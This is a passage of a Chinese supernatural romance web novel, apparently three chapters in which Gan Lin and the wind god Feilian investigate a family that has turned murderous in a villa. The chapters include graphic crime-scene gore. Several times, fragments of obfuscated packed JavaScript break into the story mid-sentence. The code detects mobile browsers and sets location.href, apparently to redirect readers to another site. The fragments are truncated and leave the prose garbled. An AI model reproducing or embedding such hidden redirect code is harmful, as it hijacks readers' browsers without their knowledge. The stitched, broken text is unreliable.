0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323350|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发病的情况吧?” 甘霖和飞廉默默对视了一眼,情况确实不太寻常。 季然台也看到了两人的这个小动作,看着甘霖,眼里完全没有飞廉,“怎么样,阿甘,这件事你们能管吗?” 飞廉没说话,甘霖也不能贸然答应,“这件事我们已经知道了,不过还是得回去再向上面打报告问问,明天给你答复,可以吗?” 他虽然是在问季然台,不过眼神却看向飞廉,见飞廉微微颔首,他又道,“明天我会给你打电话的。” 季然台握了握拳头,忽然有些坐立难安,他终于把不愿正视的眼神投向了飞廉,这一看才发现飞廉是个天人一般,了不得的大帅哥。 他太了解甘霖了,虽然不花心不滥情,但是个典型颜狗,当年要不是他长得帅,根本不可能飞快和对方成为好朋友! 而且这个男人也很精准地长在了甘霖的喜好上,黑皮高个,五官深邃,眉眼冷峻,右耳的宝蓝色耳坠很有异域风情,总之单从外表上堪称完美,挑不出一点不好,公认帅哥的季然台都有些自惭形秽了。 事情已经说完了,也就没什么事了,飞廉起身,“我已经结过账了,走吧。” 季然台不满地站起来,“说好我请阿甘吃饭的。” “无妨,这种小钱无需计较。”飞廉情绪稳定地说。 “小钱是小钱,这是我和阿甘的事……”季然台说不下去了,这个上司真让人火大,明明长得很有气势,说起话来却文绉绉的,怪腔怪调。 飞廉视线淡淡地掠过他,看向甘霖,“走吗?” 甘霖本来因为中午态度的问题就对飞廉有些心虚,这会儿又想帮季然台的忙,所以有求于飞廉,那嘴比鲜切的牛肉都软,“走,然台,没事儿,我上司很大方的,一顿饭而已,等我们帮你解决了问题,你再请回来就行,那今天就先这样,明天等我电话哈。” 说完他就拉着飞廉先离开了。 果然,飞廉身上从进门就笼罩不去的低气压瞬间就消散了不少。 甘霖叹了口气,这就是孩子对父母的占有欲吗?怎么活了几万年,看上去至少二十八九三十岁的飞廉也会有这种青春期的特性,还真是难搞又好哄啊。 “飞廉大人,你对父母离婚后又各自和别人再婚这件事怎么看?” 飞廉感到莫名其妙,“与我无关。” 甘霖换了种说法,“我的意思是,如果,我是说如果,就是一种单纯的假设,如果你是一个凡人,你的父母分开了,然后又各自和别的人在一起了,你将会有继父继母,这种时候,你会有什么想法?” 飞廉停下脚步,盯着甘霖,“与我无关,这是他们自己的事情,我不会干涉,也不会有任何想法。” 说得这么冠冕堂皇,那你倒是这么做啊! 虽然这么形容冷冰冰的飞廉有点奇怪,但甘霖真的觉得今天飞廉有点缠人,他有种招惹了甩不掉的流浪狗的错觉。 “飞廉大人你肯定会是那种爱人变心了也不会放手,然后想方设法不择手段也要把对方抢回来的人吧。”甘霖吐槽。 “不是……”飞廉转身继续往前走。 以前不是,但以后,可以是。 29.29.魔子(四)父母之爱子让他吃零食 甘霖和飞廉回到了办公室。 “大人,我们来这里干什么,真的要向上打报告吗?”甘霖伸手打开顶灯。 “你朋友刚才说的事,如果请过真正的道士,排除了疾病原因,这种特殊事件,道士会向他们进行认证的城隍分站上报,城隍会根据事件属性上报不同的科室,你朋友说的这种,都是报到外勤科的。”飞廉打开电脑,调出上半月的报告。 甘霖站在他旁边微微俯身看,确实有很多报告,标题很规整,都是“城隍297站一月三日报”这样的格式。 飞廉看了他一眼,拍了下椅子的扶手,“坐这。” 站着弯腰的姿势确实难受,甘霖也没想太多,抬腿坐在了扶手上,虽然只是挂着半边屁股,不过比刚才的姿势舒服,完全没有注意到因为这个姿势,他和飞廉已经贴在了一起。 飞廉的手在键盘上蜷缩了一下,然后才舒展手指开始敲击,在搜索栏输入了“杀狗、附身、中邪、做法”这样的关键词,很快就找到了相关事件的报告,和季然台说的差不多。 “这种报告的意义是什么,报上来就完了,没有什么后续吗?”甘霖问。 “为了核查追踪,一些异常事件根据报告来监测,看情况是恶化还是好转,然后采取相应对策,大部分的事件基本上都会慢慢好转,如果恶化,城隍会直接上门来报告。”飞廉飞快地给城隍回了一份邮件,提出了协查要求,让对方前去查看情况,并在明天早上八点之前上报。 “为什么大部分的事件都会好转?”这点甘霖就不理解了,“我看那种恐怖灵异的片子,事情都是会越来越糟糕的。” “一般的灵异事件,不过就是附近一些凡人外无意间引发的,百分之九十九都是灵力残余吸引了一些小精怪,只要不是像鬼车和谏珂那样为了害人性命,等灵力消散,情况自然也会消失,不需要特别关注。”飞廉关了电脑,“你朋友的事情暂时还没有走到危害人命的一步,不算严重,你不用担心。” 甘霖挂在扶手上翘起二郎腿,一只胳膊肘拄在膝盖上,手掌托着下巴,用一个差一点就会从椅子上失去平衡掉下去的姿势歪着脑袋看飞廉,“飞廉大人真是温柔啊,孰湖说你话少得吓人,做事情从来不解释,但我对办事处还有三界规则的了解,都是多亏了你。”当然还有孰湖,不过拍马屁的时候这种话是不能随便说的。 飞廉转头,一瞬间和甘霖的脸离得极近,两个人的眼眸仅隔一掌的距离,对视着彼此,可谁都没有挪开视线,就这么看到了彼此眼底的最深处。 飞廉:以后不能再消极应对了,必须主动出击,不然这个不安分的家伙不知道要搞出多少旧桃花来。 甘霖:怎么办,气氛有点暧昧,就算是父子也不能这样,有点挑战我内心的伦理极限了。 最后还是甘霖遭不住从扶手上下来,干笑着拍了拍飞廉的肩膀,“好孩子,温柔有耐心的好孩子,加班结束,回家回家。” “既然我这么好,请我吃饭。”飞廉也站起来。 “下午不是吃了火锅……哦,你后面来的,没吃。”甘霖只思考了一秒,“泡面可以吗?” “那是什么?” 甘霖立马脑补了家教严苛以至于孩子长大都没吃过零食和快餐的那种离谱新闻,他可不是这种父母啊,“包好吃的,走吧。” 两人回了甘霖的小院子,还顺手在树上摘了些佐餐的水果。 “你先坐,泡面很快就好。”甘霖撸起袖子穿好围裙,“泡面可是我的救星,我没钱吃饭的时候,就会煮泡面,之后再用剩下的汤泡个馒头,奢侈的时候还能往里加一个鸡蛋。” 虽然对比自己买菜做饭,泡面的性价比不算太高,但如果要自己做饭,想要做出泡面的味道,至少得有个做饭的地方,还得买点调料配菜,吃不完的他也没有冰箱储存,但泡面就算只是烧一壶开水,也能做到色香味俱全,还有不同的味道可以选择,真的是穷人救星了。 “有时候我会多加一点水,然后自己加点盐,不至于让汤的味道太淡,泡面吃完,面汤也能撑饱肚子。”甘霖拆了两包面,“偶尔打工的时候,连水都不用自己烧,工作的地方不要钱的开水就能泡面,非常省钱。” 飞廉坐在餐桌前,默默听着他说这些,这几千年,在他还没有出关之前,甘霖每一世的事情,他都是知道的,那些穷困潦倒,那些悲惨痛苦,那些每一世都没能活过二十五岁的早殇,他都是知道的。 只是听甘霖说起这些他不知道的细节,只是穷得用免费开水泡一碗面,他心脏的抽痛却不亚于得知他每一世的死亡。 这个人,明明是个连果子上有个小坑都不吃,酒杯的样式不顺眼就要换新的,衣袍沾染一点酒渍就直接脱下来扔掉,浪遍四海八荒三岛十洲只为了满足口腹之欲,愿意用成吨的灵石去换一口据说能让食物变得更美味的鼎,什么都要最好的,不在乎物品价值的,极致的享乐主义者。 太小了……飞廉环顾这个被甘霖布置得很温馨舒适的房车,这个地方还是太小了,根本不配让甘霖在这里生活。 “你那是什么表情,怎么好像很嫌弃的样子。”甘霖端着锅过来放在餐桌的锅垫上,“可以吃了。” 飞廉看了眼锅里的东西,“这不是方便面吗?” “对啊,学名是方便面,不过我都习惯叫泡面了。”甘霖递给他餐具,“大人关于人类社会的知识和常识肯定都是从书本上学来的吧,感觉一板一眼的又有些老套。” “嗯。”飞廉起身去倒了两杯水过来,他未出世的几千年,就是靠不断送来的书籍打发时间的。 “吃吧,煮泡面我可是一把好手。”甘霖自豪道,“今天煮的可是前所未有的豪华版,加了煎蛋,蔬菜,我还放了肥牛和丸子,色香味俱全,营养均衡!” 飞廉分了一点在小碗里,尝了一口,点点头,“好吃。” “对吧!我自己还调味了呢。”甘霖夹了一筷肥牛,“早就想试试真的有牛肉的泡面了,今天终于吃到了……哇,好吃,要是鲜切牛肉就更棒了,冷冻的肥牛感觉还是差点意思。” 甘霖晚饭火锅没少吃,尝了一点就放下了碗筷,然后看着飞廉不发一言地吃完了全部的食物,连汤都没有剩。 “我这个锅子是不是买的有点小啊。”甘霖说着笑了起来,“这是个泡面锅,没想到我有一天会专门去买一个泡面锅,太奢侈了。” “这个地方是不是有点小。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329943|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?” “我说这辆房车,作为住房来说是不是有点小,如果你很喜欢做饭,以后还会添很多餐具,这里恐怕放不下。”飞廉说着拿出手机划了划,“不同的锅子有不同的作用,适合不同的料理。” “大人可算是回答了我以前的疑惑,电视上看到的那些超级大别墅的厨房里明明一模一样的锅干嘛大大小小挂那么多,原来是因为地方太大太有钱了。”甘霖乐不可支地说,“虽然是个泡面锅,但它可以烧水煮菜,什么都能做,要是按照名字来买餐具,有个仓库也放不下。” “不如把这个院子再扩大一些,直接给你修一栋小楼,上下两层或者大平层……”飞廉已经开始在手机上找靠谱的建筑师和设计师了。 “等等!”甘霖赶紧一把抓住他的手,这就是孩子长大出息了,回来光宗耀祖后,被报答的父母的心情吗,还有点欣慰是怎么回事儿。 他好说歹说,加上一个大桶的奶油冰淇淋才打消了飞廉要给他盖房子的念头,赶紧转移了话题,“其实我来的第一天就想问了,办事处为什么会在这样一个欧式的小楼里,感觉和文化风格很不搭调啊。” 飞廉看了眼窗外,“因为地方偏,位置合适,当时选址的人说看了几千年中式建筑,想换个风格。” “真任性啊。”甘霖一边拿起突然响铃的手机一边吐槽,“咦,是然台,这么晚了……喂,然台,怎么了?” “阿甘!不好了,老爷子一家人发狂了,他、他把人砍死了!”季然台大喊。 甘霖立刻起身,和飞廉对视了一眼,熟练地一把抓住对方的胳膊,“报警,远离,不要靠近,注意安全,千万不要让人围观,以免造成更大的伤害,我们马上就到……” 季然台看着眼前的场景,切身体会了一把什么叫神魂俱裂,毛骨悚然,他电话都还没挂断,肩膀就被人拍了一下。 “然台,往后退。”甘霖和飞廉越过他往前走去。 季然台浑身僵硬,这里可是和甘霖工作单位对角线的别墅区,中间至少隔了三十公里,还在半山腰上,这两个人怎么一秒钟到达的? 特殊事件应对处……你相信中邪吗…… 他忽然想起那些对话,还有之前这家人请来的道士对他说的,“这个事情我们处理不了,我们会上报上去,如果情况变得严重,会有大神来解决的。” 大神,他还以为就是更厉害的道士或者是什么,没想到……是真的神。 眼看着甘霖跟着飞廉就要走进去,季然台一把拉住了他,“阿甘,我知道你上司很厉害,你不要去凑热闹了,很危险的,等警察过来吧。” 甘霖停下脚步,安抚地拍了拍他的胳膊,低头看了他的双脚一眼,“放心吧,不会有事的,你让大家都离远一点,赶紧回去穿双鞋,别冻坏了。” 季然台家就在这家人的别墅对面,是他搬出季家本家后独自居住的,这个别墅区档次一般,建筑之间离得不算远,他又因为猜测甘霖和飞廉的关系辗转难眠,所以才会听到动静,赶来的时候只穿了一双拖鞋,这会儿都不知道甩去了哪里。 他莫名感到难堪,只能往后退了一步,眼睁睁看着甘霖跟在飞廉后面,走进了那栋还飘着血腥味的建筑。 30.30.魔子(五)城隍也是仙 甘霖跟在飞廉后面一踏进别墅院子的大门,就感受到一股不寻常的气息,加上催人欲呕的血腥味,比办事处小城堡更像鬼屋。 虽然在季然台面前表现得那么大义凛然,但害怕还是会害怕的,所以他默默快走了两步,抓住了飞廉黑色风衣的衣带,“大人,你感觉到了吗?” 飞廉点了一下头,然后别墅里面立马传出来一声惨叫。 一把抓住甘霖闪现进别墅,然后接住了跌跌撞撞扑过来的人影,那人颤颤巍巍抬头,看到飞廉就跟看到再生父母似的,抖着嗓子抱着飞廉的腿就不撒手了,“大、大、大人!” “城隍?”飞廉问。 “是,我奉大人之命前来查探,可情况太奇怪了,只能把闯进来凡人先劝出去,然后施加结界,那个凡人……老身打不过啊,您看看,这一刀下来,给我砍伤了都,那绝对不是凡人……不,压根就不是人啊!”看上去四十多岁中年男子模样的城隍一把鼻涕一把泪地哭诉,高举的胳膊上确实有一道还在流血的伤口。 飞廉看了眼黑漆漆的别墅里面,“有几个凡人。” “好多个,我没来的及看清,他们都疯了!到处都是血,全都是血,我还看到好像有肉块一样的东西!”这位城隍上任才几十年,都是和平年代,还是第一次看到这样的事情,显然受到了不小的冲击。 飞廉本来要带着甘霖一起上去,闻言顿了顿,弹了下手指,把城隍从他腿上撕开,又抬手往甘霖身上扔了个保护结界,“你和他在此处等着,保护好他。” 城隍赶紧从地上爬起来,站在甘霖面前,“大人放心,老身绝不让大人的下属受到一点伤害!” 飞廉便原地消失了。 这栋别墅虽然院子面积小,和邻居离得近,但算是这个别墅区最大的户型了,一共有四层,装修得也很豪华,根据季然台的说法,陈老爷子和自己的老伴,两个儿子儿媳,孙子孙女,还有一个没出嫁的小女儿,一家九口人,再加上帮佣厨娘和管家,一共有十五个人住在这栋超过一千五百平方的大别墅里。 甘霖就站在刚进门的玄关处,能够听到楼上不时传来混乱的声音和模糊的叫喊声,于是问城隍,“上面到底怎么了?” “我刚上去就看到两个人举着刀互砍,出声劝阻,其中一个就拿着刀朝我冲过来了,我用了定身咒,但根本不起作用,另一个人转头跑了,也不知道去了哪里。”城隍拍着胸口,“太凶残了,实在是太凶残了!” “一家人全都疯了吗,正常人呢?” 城隍摇头,“不知道。” 就在这时,他们同时听到另一边疑似厨房的方向传来了一阵响动,还有像是小孩子哭泣一样细微的声音,这个声音实在是太像蛊雕鸣叫的声音了,甘霖头皮都炸了,身上的皮肤密密麻麻起了一层鸡皮疙瘩,腿都有些软,“一楼也有人?” 城隍哭丧着脸,“我不知道啊。” 不可能是蛊雕,很有可能是真的孩子,也许是陈老爷子的孙子和孙女,一个十五岁,另外一个才八岁。 甘霖十分纠结,压着嗓子问城隍,“要不要过去看看?” 这个城隍作为城隍实在是太年轻了,或许也是因为首都是神仙驻凡办事处的总部,城隍密度比较高,他没遇上过这样的事情有些措手不及,总之从头到尾都跟个受惊的鹌鹑似的,用胡子拉碴的中年男人脸切实地表现着“惊恐”两个字。 听到甘霖的问题,城隍一把拉住他,“还是不要轻举妄动比较好,你要是出点什么事,我怎么和风神大人交代。” 甘霖迟疑了一会儿,可那个声音就像绕梁余音一样,延绵不绝,而且他越听这个声音和蛊雕的鸣叫声越不像,分明就是孩子哭的声音。 “大人?飞廉大人?”他压着嗓子叫了两声,但是没有任何反应,飞廉不知道跑到哪里去了。 自己身上有飞廉的结界,应该不会出事,甘霖最终决定还是去发出声音的地方看看。 “走,城隍,你跟我去。”当然,他也不忘拉上伙伴,城隍是幽都最小行政单位的领导,就跟人间的镇长差不多,但好歹也是手底下有文武判官、牛马将军、日夜游神、三司值守等手下的冥官,是是实实在在的神仙,再靠不住也比他一介凡人厉害。 城隍就差脚踩门槛了,但还是被甘霖拉着走了。 声音的来源果然是餐厨区域,开放式厨房,巨大的中央岛台,连接着西厨和一个十几人位的超大餐厅,一眼过去,被月光照得阴亮亮,空荡荡,什么也看不见。 甘霖想再听听声音具体是在哪里,但那个声音却忽然消失了。 “可能是小孩子藏起来了,我俩分开找,找到就先带出去。”甘霖对城隍说,“这里什么都没有,没血也没人,应该没什么危险,可以吗?” 城隍看到干净的厨房确实松了口气,闻言点点头,“好。” 于是两个人就暂时分开,城隍往餐厅和西厨那边去,扒开有可能藏小孩的柜子,甘霖就去看中厨和往里面的地方。 中厨的柜子里没有人,他在角落里又发现了一扇门,推测是储藏室之类的地方,于是推门进去,里面果然是像超市一样的一排排货架,不过排得很紧密,上面还放着各种箱子之类的囤货。 房间很大,甘霖打开手机的手电筒,一层层看过去,又隐隐约约听到了因为恐惧而发出的压抑的喘气声,“有人吗?我们是来救人的,警察就快到了,别怕。” 走到最里面,他终于看到了目标,果然是个孩子,陈老爷子八岁的孙女,被一个五十多岁的中年富态女人抱在怀里,两个人浑身发抖,满脸泪痕,缩在角落两个纸巾箱子后面,女人还用手捂着孩子的嘴巴,这也是为什么哭声突然消失的原因。 “别怕,我们先从这里出去。”甘霖猜测这个中年女人应该是陈家的厨娘,他走上前,抓住孩子的手,笑眯眯道,“跟哥哥过来,马上就安全了。” 他长得好看,笑容又甜,小姑娘和厨娘都松了口气。 三个人排着队往外走,甘霖抓着小姑娘的手,手心有点汗涔涔的,他想略松一点,小姑娘却立马死死反握住他的手,不安地哭叫了一声,“哥哥!” “没事没事。”他很能理解小姑娘的心情,他父母被烧死以后的很长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331663|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年,他都没有办法看到任何和火有关的东西,甚至连饭都要放到一点温度都没了才肯吃,看见煤炭之类的东西,也都会引起创伤,呕吐不止。 三个人走到储藏室门口,甘霖慢慢把门拉开一道缝隙,“稍等我看看外面。” 就在这时,他忽然听到背后的厨娘发出一声惊呼,还没回头看清发生了什么,就被一个宽厚高大的背挤贴在了门板上,鼻尖瞬间充满了飞廉身上熟悉的雪香味。 “大人,唔……”飞廉挤得太近了,他费了点劲才转过头,把脸从飞廉背上挪开,伸长脖子去看到底发生了什么,“怎么了?” 看到眼前一幕,甘霖忍不住骂了声操,刚才还惊魂甫定,可怜柔弱的小姑娘手中拿着一把不知道什么时候忽然出现的刀,拿刀的手被飞廉抓着,小小的身体被提到了半空中,就像一个发了狂的灵长类动物一样,赤红着双眼,龇着尖牙,身体也疯狂地扭动挣扎,还发出野兽一样的低吼声。 厨娘已经吓得瘫在原地一动不动了。 甘霖看明白了,刚才要不是飞廉突然出现,小姑娘手中的刀就要砍在他的身上了,“怎么回事,她刚才还好好的。” 飞廉回头看他,“你没事吧?” “多亏大人及时赶到,不过您老人家能不能往前点,我感觉自己快嵌进门里了。”甘霖道,太近了,也太紧了,他和飞廉中间就隔着彼此的衣物,甚至都能听到飞廉扑通扑通的,有力又有些急促地心跳声。 飞廉抬手往小姑娘两眉之间轻点了一下,小姑娘就瞬间失去意识,一动不动了。 “孙小姐!”厨娘也是个忠心耿耿的,扑上来接过小姑娘瘫软的身体,声音发颤地质问飞廉,“你、你对我家孙小姐做了什么!” “只是昏睡。”飞廉往前一步拉开和甘霖的距离,淡淡解释,“先离开这里。” 甘霖赶紧转身拉开储藏室的门,打头走了出去,这几步走得,飒沓爽直,毫不犹豫,就跟大白天似的,飞廉一来,他底气都不一样了,完全没什么可怕的了。 城隍听到动静也过来了,“大人,警察到了。” 飞廉看了眼外面不断闪烁的红蓝光,微微颔首,“你先回去。” 城隍便恭敬地弯腰行了一礼,然后消失不见了。 来处理这件案子的还是林安,眉目中间的沟壑比东非大裂谷还深,一副“老子真心不想再干了”的表情,“怎么样?” “有死有伤,让人上去先搬下来。”飞廉道。 于是他们就在别墅门口,看着警察和救护车进进出出搬运伤者和死者。 甘霖看着飞廉的背影,忽然抬手摸向了自己的胸口,扑通扑通,跳得有力又快。 原来刚才那个,是他自己的心跳…… “阿甘,怎么了?”季然台回家换了身保暖的衣服就守在外面一直等着,中间他担心的不行也想进去,但不知道为什么,鬼打墙了似的,根本进不去,看到甘霖和飞廉好好地出来,才算是松了口气。 甘霖默默摇了摇头。 不好了,这难道就是……孩子太厉害,当父母的太骄傲太兴奋了? 31.31.魔子(六)惨痛现场 伤者被救护车拉走了,因为发疯的人已经被飞廉控制住了,所以像厨娘这样幸运逃过一劫的人也被警察搀扶了出来,在别墅前院子一角的木亭里接受问询。 甘霖数了一下,“然台,你说过,陈家一共有十五个人是吧?” 季然台腿都站麻了,脸色铁青地蹲了下去,“伤了四个,那边好好没事的只有两个,除了小姑娘,剩下的八个在别墅里,都死了吗?” “不知道。”也有可能是被飞廉弄昏迷不能行动了,甘霖没有办法安慰他,季然台和这家人关系很好,陈老爷子的两个儿子他当成叔叔,孙子和孙女比他同父异母的亲弟弟还亲近,发生了这样的事,说什么安慰的话都是徒劳。 “回去吧,然台,你先回去,不管怎么样,我一定会给你一个交代的。”甘霖说。 整件事情都太诡异太奇怪了,就连甘霖和飞廉两个人也很奇怪,季然台仰头看着自己至今仍然喜欢得不行,哪怕是做朋友也不愿意没有关系的甘霖,第一次对甘霖口中那句每个人都要长大的话有了实感,对方还是甘霖,却好像已经不是曾经因为他的拥抱而红着脸的阿甘了。 甘霖已经成长了,继续往前走了,只有他和他青涩不成熟的喜欢还留在过去,徒劳地拥抱着阿甘的影子。 “阿甘……”季然台站起身,抱了抱甘霖,“谢谢你这么快赶过来,我相信你,但你一定要注意安全,别让自己受伤了。” 甘霖看着季然台离开回到了对面自己的家里,转头看向飞廉,他想去问问飞廉在楼上到底看到了什么,可不知道为什么,平常都能坦然迈开的脚步,今天就好像螺丝生锈的圆规一样,吱吱呀呀,双腿怎么都分不开。 倒是林安,气结地一叉腰,对着他挥挥手,“那边那个长得挺漂亮的小伙子,说自己是飞廉助理的那个,你来一下,我和你们领导交流太费劲,你过来和我说。” 林安的话给了甘霖一个理由,就好像给生锈的螺丝滴上了润滑液,他立刻迈步过去,“林队长,好久不见。” 已经凌晨两点了,林安的脸垮得老了何止五岁,闻言讽刺一笑,“久吗,也就才一周不到,如果可以的话,我倒是希望这辈子都不要再见你们两个了。” “呵呵。”确实遇上他们没什么好事,甘霖不能反驳,“叫我有什么事吗?” “他不让我把那个小姑娘带走,你给他好好科普一下未成年保护法。”林安指了指一旁被一个警察裹着大衣抱在怀里的,还在昏迷中的小孙女。 甘霖抬头看向飞廉,对方眉目冷厉面无表情,完全没有让步的意思。 “林队长,这件事还是听我们科长的,把这个小女孩交给我们比较好。”甘霖对林安说。 林安粗犷的眉毛立马竖了起来,“你说什么,你知不知道她才八岁,她父母都已经死了,剩下的家人短时间内都没有办法履行监护职责……” “现在不是和我们讲未成年人保护法的时候,这件事还是要听我们科长的,那个孩子和他们家那些精神失常发狂的人一样,已经不是一个普通的小孩子了,你们是帮不了她的,只有我们可以,和上次的事情一样,林队长您应该也明白这种状况吧。”甘霖直视着林安的双眼道。 林安和甘霖只见过几次,对甘霖最大的印象就是长得好看,皮肤极白,第一次见面对方戴着帽子,忽然从飞廉身后探出一张又美又精致的脸时,他还以为对方是个姑娘,但后来一看身高和身材,就知道这是个颀长清瘦的青年。 对方和飞廉不一样,就算不是普通人类,但应该也是长时间在人类社会生活的,沟通起来要顺畅得多,而且总是笑眯眯的,虽然这个形容不恰当,但确实很甜美,让人不由自主地心生好感,放下芥蒂和戒备,看着对方的时候,林安都觉得自己没有那么暴躁了。 可此时林安被甘霖那双漂亮澄澈的眼睛看着,竟觉得心中一凛,一时无话可驳,只能叹口气搓了搓头发,“你说那个小姑娘也疯了?” 甘霖看着小姑娘,想起刚才对方在飞廉手中疯狂挣扎的模样,肢体的扭动根本就不是人类能够做到的,“如果你说的疯,是之前以为的精神疾病的话,那不是,要比那严重的多,如果你把她带回去,她可能一辈子都没有办法恢复,将来要怎么办,直接送去精神病院吗?” “知道了,那就先交给你们。”林安没办法。 飞廉已经联系了孰湖,对方正好过来。 “孰湖,把她带回去,好好看着,绝对不能出一丝纰漏,也别让她受伤了。”飞廉看着警察把小姑娘交给孰湖,“她还没有伤害别人,魂魄还是干净的,是不幸中的大幸。” 小姑娘在异常高大结实的孰湖怀里就显得更加小巧了,小巧的可怜,甘霖眼前仿佛已经能够看到她未来孤身一人在路上的样子,无依无靠,仿佛随之会被命运吞噬。 “到底为什么会发生这样的事,一个名门千金,多么美好的人生,就这样戛然而止了。”甘霖感叹,不知道是在感叹小姑娘,还是曾经年幼的自己。 飞廉喉结滚动,犹豫了一下,还是抬手拍了拍甘霖的背,“进去吧,这就是我们要搞清楚的事。” 取证调查的警察走出来向林安报告,“队长,可以进去了。” 林安“嗯”了一声,递给甘霖和飞廉手套鞋套和帽子口罩,“这次是命案现场,要注意保护。” 两人都已经进去过了,鞋印头发估计也留下了痕迹,但都没有异议,走到门口,看着林安的样子将自己全副武装起来,然后才再次踏进这个地方。 和刚才不一样,这次所有的灯全都打开了,室内亮如白昼,那些之前没有看到的细节就这样坦诚在了他们的面前。 甘霖一眼就看到了客厅一角的血迹,已经干涸,像是血湖上的涟漪忽然被时间定格,完美的圆形,向外四散溅射出许多血点。 他缓缓抬头,看到了那滩血的来源。 客厅和二楼是挑空的,那滩血上面是二楼的实木栏杆,栏杆上趴着一具尸体,头朝下,摇摇欲坠随时都会掉下来,头发已经被血浸透了,短发的发尖支棱着,几乎还能看到缓慢凝固的粘稠的血滴。 甘霖一眼就能看出对方的死因,那一刀几乎砍断对方的脖子,只剩下小半截勉强连着,两个警察要把他的尸体装进袋子里移除现场,都不得不用手小心翼翼地托着那悬吊着的脑袋。 即使警察戴着口罩看不清表情,甘霖也能从两人的眼神中看出恐惧和不忍,他胸腔起伏了几下,硬生生忍住了呕吐的欲望。 “你还好吗?”飞廉问,“如果不行,就先回去,这里有我就可以了。” 甘霖摇摇头,“没事。” “根据法医的初步估计,那是第一位死者,是陈老爷子的大儿子,杀他的人可能就是陈老爷子自己。”林安说着看了飞廉一眼,带着他们往楼上走,“多亏你们科长,除了六名死者,剩下两个人都处于意识昏迷的状态,叫都叫不醒。” “现在把他们叫醒,立刻就会举着刀砍过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340423|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你什么也问不出来,待会儿我会全部带回去调查。”飞廉直截了当道。 林安脸色一瞬难看一瞬缓和,上演了一场极限变脸。 飞廉每次说话都能让林安动火,但接触了几次他也算是明白飞廉的性格了,说话就这样,不拐弯抹角,但是也没什么别的特殊意义和情绪,认真就是他输了,“都是行凶者,你带走调查可以,之后还是要交给我们的。” “如果他们能恢复正常的话,不然给你也是白给。”飞廉道,“不过就算是恢复正常了,他们可能也什么都不记得,你把人要去也没用。” 眼看林安又要动肝火,甘霖道,“然台……就是我的朋友,他和陈家是世交,就住在对面,他说陈老爷子一家人性格都很好,很和睦,家里的佣人司机厨娘那些,也都是做了很多年的,所以厨娘才会拼了命地带着小姑娘逃跑吧。” “和我们刚才走访调查的结果差不多,他们家人彼此之间没有任何仇怨。”林安回头看了他一眼,忍住了火。 “这和仇怨没有关系,不是凡人能够理解的范畴。”结果飞廉又扔了一把柴。 甘霖拉住飞廉的手,自己跨了两步上去,跟在林安后面,隔开了两人,转移话题,“幸存的两位是谁?” “陈家四十岁的大儿媳项婉,陈老爷子二十七岁的小女儿陈卿华,除此以外陈老爷子夫妇,大儿子,二儿媳两人,十五岁孙子全都死了。” 说着他们到了二楼,走进一间书房,地上的血泊里躺着一个人,但甘霖看到她还起伏的胸膛和年轻的面容,就猜到她是那个幸存的小女儿。 “只有三个人手里没有凶器,陈家老太太,十五岁的孙子和这个陈卿华。”林安表情躁动,“这个现场简直就像是一家人拿着刀互砍,根本没有章法和逻辑。” “差不多,这个人是清醒的,我把她弄晕只是因为她受了巨大的惊吓,精神已经崩溃了,你可以让你的人把她先送到医院去。”飞廉道,“不过别刺激她,让人看着,我不保证她之后会不会精神失常。” “你不早说,大冬天的我让人在血里躺了这么久,过来两个人,叫个救护车来把她先送到医院。”林安招呼了一声。 两个警察过来抬起陈卿华,角度一转,灯光将她的脸照得清清楚楚,上面全是眼泪冲出来的沟壑,即使昏迷了,她的表情依然保留了最后的惊恐。 “我都不敢想她醒了以后会怎么样。”即使见得再多,林安都没有办法对这种事情习以为常。 甘霖也不敢想,一夜之间失去了几乎所有的家人,凶手也是家人,这种冲击谁能受得了。 气氛有些沉重,他们沉默着来到二楼的另外一间房。 甘霖正要跟着林安进去,却被飞廉一把拉住,“你在外面等着。” 他正要问原因,忽然想起城隍说看到了肉块一样的东西,立刻就猜到里面会是什么样的场景了。 林安也停住了开门的动作,“哦,对,这个现场比较血腥,你还是别进去了。” 甘霖觉得自己是不怕的,但他最终还是点点头,对飞廉道,“我在下面等你。” “嗯。”飞廉轻轻应了一声,看着他离开了。 林安靠在门框上看两人,“虽然我们没有熟到那个地步,这个场合也不合适,不过我还是要说一句,你俩挺般配的。” 飞廉:“以后会熟的。”所以没什么不该说的,这话不错,他喜欢。 林安嗤笑,“我可不想和你再熟了。” 